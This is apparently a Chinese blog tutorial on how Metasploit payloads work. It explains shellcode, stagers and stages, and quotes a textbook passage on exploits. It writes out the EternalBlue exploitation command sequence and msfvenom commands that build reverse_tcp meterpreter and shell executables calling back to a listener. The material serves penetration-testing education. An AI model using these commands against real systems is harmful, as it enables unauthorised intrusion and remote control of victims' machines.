Metasploit payloads模块理解
创始人
2025-05-28 23:21:52

文章目录

  • 一、payloads 的使用
  • 二、payload是什么
    • payload
    • shellcode的编写
  • 三、MSF的Payloads模块
    • payload分类
    • payload的投递
  • 四、MSF模块功能
  • 参考


一、payloads 的使用

继续来看永恒之蓝的漏洞利用过程:

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 目标ip`
run
shell

use该模块后,options一下
在这里插入图片描述
可以看到,它已经默认为我们设置了一个payload。在该模块上下文中,可以使用set payload来设置我们想用的payload,也可以show payloads,根据显示的编号进行set
show payloads
在这里插入图片描述

二、payload是什么

payload

  • payload,中文“有效载荷”,指成功exploit之后,真正在目标系统执行的代码或指令
  • shellcode,是payload的一种,由于其建立正向/反向shell二得名

这是百度中比较多的说法,直接看《0day安全软件漏洞分析技术》中解释,会比较明白。

    1996 年,Aleph One 在 Underground 发表了著名论文 Smashing the Stack for Fun and Profit, 其中详细描述了 Linux 系统中栈的结构和如何利用基于栈的缓冲区溢出。在这篇具有划时代意义的论文中,Aleph One 演示了如何向进程中植入一段用于获得 shell 的代码,并在论文中称这段被植入进程的代码为“shellcode” 。
后来人们干脆统一用 shellcode 这个专用术语来通称缓冲区溢出攻击中植入进程的代码。这段代码可以是出于恶作剧目的的弹出一个消息框, 也可以是出于攻击目的的删改重要文件、 窃取数据、上传木马病毒并运行,甚至是出于破坏目的的格式化硬盘等。请注意本章讨论的 shellcode 是这种广义上的植入进程的代码,而不是狭义上的仅仅用来获得 shell 的代码。
    shellcode 往往需要用汇编语言编写,并转换成二进制机器码,其内容和长度经常还会受到很多苛刻限制,故开发和调试的难度很高。
    在技术文献中,我们还会经常看到另一个术语——exploit。
    植入代码之前需要做大量的调试工作,例如,弄清楚程序有几个输入点,这些输入将最终会当作哪个函数的第几个参数读入到内存的哪一个区域,哪一个输入会造成栈溢出,在复制到栈区的时候对这些数据有没有额外的限制等。 调试之后还要计算函数返回地址距离缓冲区的偏移并淹没之,选择指令的地址,最终制作出一个有攻击效果的“承载”着 shellcode 的输入字符串。这个代码植入的过程就是漏洞利用,也就是 exploit。
    exploit 一般以一段代码的形式出现, 用于生成攻击性的网络数据包或者其他形式的攻击性输入。exploit 的核心是淹没返回地址, 劫持进程的控制权, 之后跳转去执行 shellcode。 与 shellcode 具有一定的通用性不同,exploit 往往是针对特定漏洞而言的。
    其实,漏洞利用的过程就好像一枚导弹飞向目标的过程。导弹的设计者关注的是怎样计算飞行路线,锁定目标,最终把弹头精确地运载到目的地并引爆,而并不关心所承载的弹头到底是用来在地上砸一个坑的铅球, 还是用来毁灭一个国家的核弹头; 这就如同 exploit 关心的是怎样淹没返回地址, 获得进程控制权, 把 EIP 传递给 shellcode 让其得到执行并发挥作用, 而不关心 shellcode 到底是弹出一个消息框的恶作剧, 还是用于格式化对方硬盘的穷凶极恶的代码
    随着现代化软件开发技术的发展,模块化、封装、代码重用等思想在漏洞利用技术中也得以体现。试想如果仿照武器的设计思想,分开设计导弹和弹头,将各自的技术细节封装起来, 使用标准化的接口, 漏洞利用的过程是不是会更容易些呢?其实在第 4 章中将介绍到的通用漏洞测试平台 Metasploit 就是利用了这种观点。Metasploit 通过规范化 exploit 和 shellcode 之间的接口把漏洞利用的过程封装成易用的模块, 大大减少了 expliot 开发过程中的重复工作, 深刻体现了代码重用和模块化、结构化的思想。在这个平台中:
    (1) 所有的 exploit 都使用漏洞名称来命名, 里边包含有这个漏洞的函数返回地址, 所使用的跳转指令地址等关键信息。
    (2)将常用的 shellcode(例如,用于绑定端口反向连接、执行任意命令等)封装成一个个通用的模块,可以轻易地与任意漏洞的 exploit 进行组合。

读完上面的引用,我们应该理解:

  1. payload就是shellcode,即我们植入的指令。
  2. Exploits模块和Payloads模块是软件开发中解耦思想的应用
  3. Payloads模块就是一个包含很多shellcode/payload的库。

shellcode的编写

正如上述,shellcode

  1. 独立的存在,无需任何格式的包装。
  2. 内存中运行,无需固定指定的宿主进程。
    在这里插入图片描述

我们可以使用C语言编写shellcode(取消编译器的各类优化),然后从生成的可执行文件中提取shellcode(正如上图所示)。也可以使用汇编语言直接生成shellcode,因为汇编语言直接面向机器编程。

三、MSF的Payloads模块

MSF的payload模块位于modules/payloads{adapter,singles,stagers,stages}/platform>>。当框架启动时,stages与stagers结合以创建可在exploits中使用的完整的payload。然后,handlers与payload配对,因此框架将知道如何使用给定的通信机制创建会话。

Payload被赋予参考名称,如下所示:

  • Staged payloads:platform>/ [arch] / stage> / stager>
  • Single payloads:platform>/ [arch] / single>

这就会产生像windows/ x64 / meterpreter / reverse_tcp这样的payload。分离出来,平台是windows,架构是x64,我们投递的最终的stagemeterpreter,而传递它的stagerreverse_tcp

请注意,arch是可选的,因为在某些情况下,它是不必要或者已经默认了。比如php/ meterpreter / reverse_tcp。PHP的payload不需要Arch,因为我们提供的是解释代码而不是二进制代码。

payload分类

single:独立载荷,可直接植入目标系统并执行相应的程序

stager:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。使用stagers解决了两个问题,第一是允许我们使用一个小的payload来初始化并加载一个更多功能体积更的的payload;第二是它分离了stage的通信机制,使得一个payload(stage)可以为多个传输器使用而不用重复的开发代码

stage:传输体载荷,如 shell、meterpreter 等。在 stager 建立好稳定的连接后,攻击机将 stage 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stage。比如得到目标机的 shell,或者 meterpreter 控制程序运行。

payload的投递

  1. The IP address and port you want the payload to connect back to are embedded in the stager. As discussed above, all staged payloads are no more than a small stub that sets up communication and executes the next stage. When you create an executable using a staged payload, you’re really just creating the stager. So the following commands would create functionally identical exe files:
 msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcpmsfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcpmsfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp

(Note that these are functionally identical – there is a lot of randomization that goes into it so no two executables are exactly the same.)

  1. The Ruby side acts as a client using whichever transport mechanism was set up by the stager (e.g.: tcp, http, https).
    In the case of a shell stage, Metasploit will connect the remote process’s stdio to your terminal when you interact with it.
    In the case of a Meterpreter stage, Metasploit will begin speaking the Meterpreter wire protocol.

四、MSF模块功能

在这里插入图片描述

参考

[1] https://www.freebuf.com/articles/network/263010.html
[2] https://docs.metasploit.com/docs/using-metasploit/basics/how-payloads-work.html
[3] https://www.cobaltstrike.com/blog/staged-payloads-what-pen-testers-should-know/

相关内容

热门资讯

【实验报告】实验一 图像的... 实验目的熟悉Matlab图像运算的基础——矩阵运算;熟悉图像矩阵的显示方法࿰...
MATLAB | 全网最详细网... 一篇超超超长,超超超全面网络图绘制教程,本篇基本能讲清楚所有绘制要点&#...
大模型落地比趋势更重要,NLP... 全球很多人都开始相信,以ChatGPT为代表的大模型,将带来一场NLP领...
Linux学习之端口、网络协议... 端口:设备与外界通讯交流的出口 网络协议:   网络协议是指计算机通信网...
kuernetes 资源对象分... 文章目录1. pod 状态1.1 容器启动错误类型1.2 ImagePullBackOff 错误1....
STM32实战项目-数码管 程序实现功能: 1、上电后,数码管间隔50ms计数; 2、...
TM1638和TM1639差异... TM1638和TM1639差异说明 ✨本文不涉及具体的单片机代码驱动内容,值针对芯...
Qt+MySql开发笔记:Qt... 若该文为原创文章,转载请注明原文出处 本文章博客地址:https://h...
Java内存模型中的happe... 第29讲 | Java内存模型中的happen-before是什么? Java 语言...
《扬帆优配》算力概念股大爆发,... 3月22日,9股封单金额超亿元,工业富联、鸿博股份、鹏鼎控股分别为3.0...
CF1763D Valid B... CF1763D Valid Bitonic Permutations 题目大意 拱形排列࿰...
SQL语法 DDL、DML、D... 文章目录1 SQL通用语法2 SQL分类3 DDL 数据定义语言3.1 数据库操作3.2 表操作3....
文心一言 VS ChatGPT... 3月16号,百度正式发布了『文心一言』,这是国内公司第一次发布类Chat...
CentOS8提高篇5:磁盘分...        首先需要在虚拟机中模拟添加一块新的硬盘设备,然后进行分区、格式化、挂载等...
Linux防火墙——SNAT、... 目录 NAT 一、SNAT策略及作用 1、概述 SNAT应用环境 SNAT原理 SNAT转换前提条...
部署+使用集群的算力跑CPU密... 我先在开头做一个总结,表达我最终要做的事情和最终环境是如何的,然后我会一...
Uploadifive 批量文... Uploadifive 批量文件上传_uploadifive 多个上传按钮_asing1elife的...
C++入门语法基础 文章目录:1. 什么是C++2. 命名空间2.1 域的概念2.2 命名...
2023年全国DAMA-CDG... DAMA认证为数据管理专业人士提供职业目标晋升规划,彰显了职业发展里程碑及发展阶梯定义...
php实现助记词转TRX,ET... TRX助记词转地址网上都是Java,js或其他语言开发的示例,一个简单的...
【分割数据集操作集锦】毕设记录 1. 按要求将CSV文件转成json文件 有时候一些网络模型的源码会有data.json这样的文件里...
Postman接口测试之断言 如果你看文字部分还是不太理解的话,可以看看这个视频,详细介绍postma...
前端学习第三阶段-第4章 jQ... 4-1 jQuery介绍及常用API导读 01-jQuery入门导读 02-JavaScri...
4、linux初级——Linu... 目录 一、用CRT连接开发板 1、安装CRT调试工具 2、连接开发板 3、开机后ctrl+c...
Urban Radiance ... Urban Radiance Fields:城市辐射场 摘要:这项工作的目标是根据扫描...
天干地支(Java) 题目描述 古代中国使用天干地支来记录当前的年份。 天干一共有十个,分别为:...
SpringBoot雪花ID长... Long类型精度丢失 最近项目中使用雪花ID作为主键,雪花ID是19位Long类型数...
对JSP文件的理解 JSP是java程序。(JSP本质还是一个Servlet) JSP是&#...
【03173】2021年4月高... 一、单向填空题1、大量应用软件开发工具,开始于A、20世纪70年代B、20世纪 80年...
LeetCode5.最长回文子... 目录题目链接题目分析解题思路暴力中心向两边拓展搜索 题目链接 链接 题目分析 简单来说࿰...